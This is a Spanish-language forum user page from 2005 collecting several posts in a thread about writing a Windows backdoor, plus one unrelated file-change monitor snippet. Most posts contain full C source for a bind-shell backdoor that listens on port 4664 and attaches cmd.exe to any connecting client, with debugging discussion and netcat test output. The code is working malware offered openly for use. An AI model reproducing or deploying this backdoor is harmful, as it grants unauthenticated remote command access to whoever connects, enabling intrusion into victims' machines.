Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - sch3m4

#241
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 20:30 PM
Según me han comentado, puede ser por el SP2.
No obstante, dime si este codigo te funciona sin modificarle nada:


#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//Winsock=socket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(4664);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR");
}else{
printf("OK");
}

ExitProcess(0);
}
#242
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 19:51 PM
si, me compila bien, sin warnings ni nada. Yo lo compilo con el VC++
#243
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 19:36 PM
si, cuando posteastes y lo probé linkeé a esa librería. pero no funciona
#244
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 18:33 PM
He probado el codigo y no me funciona. Esta vez, me dice que la shell se lanzó, pero se me cierra el programa, y se desconecta el socket. He quitado el ultimo WSAClenaup(), que bobo  ::)

Con he retocado el código (no el que tu posteastes, sino el original) para hacerle algunos cambios, como quitar el WSACleanup y limpiar con memset(), y obtengo este restultado:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...OKPress any key to continue
Como ya he dicho, no veo la shell por ninguna parte, y cuando muestra esto, el programa se cierra...  :-\

Con el código que pusistes, obtengo el MISMO resultado. Te pongo aquí el codigo retocado aver si te funciona:


#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}
#245
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 16:46 PM
si ya lo probé. aunque si no se le especifica una extensión, asume que es ".exe". Le quité un comentario en una asignación a la estructura que usa createprocess, aki pongo el source. (A mí no me funciona aún)


#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}


#246
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 16:28 PM
El mismo error:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
No creo que las opciones -vv importen, ya que solo es para que te de más información de la conexion.
#247
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 16:07 PM
Gracias, con eso se soluciona lo de los warnings al compilar, pero no me da la shell. Estas son las respuestas:

Ejecutando la "Backdoor"
Citar
  • Creando el Socket...OK
  • Esperando cliente...
Ejecutando el NetCat
Citar
D:\>nc -vv localhost 4664
DNS fwd/rev mismatch: apolo != localhost
apolo [127.0.0.1] 4664 (?) open
sent 0, rcvd 0: NOTSOCK

D:\>

Así queda la shell
Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
    Press any key to continue
Porqué no funciona?
#248
Programación C/C++ / Win Backdoor Bind port
15 Agosto 2005, 15:31 PM
Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme.



#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
//start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}


Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar:

Citar
--------------------Configuration: mping - Win32 Debug--------------------
Compiling...
mping.c
C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *'
C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6

mping.obj - 0 error(s), 2 warning(s)
#249
o eso, o con el comando "at.exe" de windows xD
#250
he retocado l codigo para k haga lo miso que haces tú con VB, pero tampoco funciona. El código en VB que posteastes tampoco me funciona. Aquí dejo el código en C


#include <stdio.h>
#include <windows.h>

#define COMPLETO FILE_NOTIFY_CHANGE_ATTRIBUTES || FILE_NOTIFY_CHANGE_DIR_NAME || FILE_NOTIFY_CHANGE_FILE_NAME || FILE_NOTIFY_CHANGE_SIZE || FILE_NOTIFY_CHANGE_LAST_WRITE || FILE_NOTIFY_CHANGE_SECURITY

/*FUNCIÓN PRINCIPAL*/
void main()
{
//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num);
HANDLE mon1;

mon1=FindFirstChangeNotification("C:\\",TRUE,COMPLETO);
WaitForSingleObject(mon1,1);

//creamos el handle
if(mon1==INVALID_HANDLE_VALUE)
{
printf("[!] Error al crear el handle -> %s",MensajeError(GetLastError()));
return;
}

for(;;)
{
FindNextChangeNotification(mon1);
if(WaitForSingleObject(mon1,1)==0)
{
printf("\nLa informacion en la unidad C:\\ ha cambiado");
}

Sleep(1000);
}

//cerramos y salimos
FindCloseChangeNotification(mon1);
return;
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
char *lpMsgBuf;

//cojemos el mensaje del error
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
0,
(LPTSTR) &lpMsgBuf,
0,
NULL
);

return lpMsgBuf;
}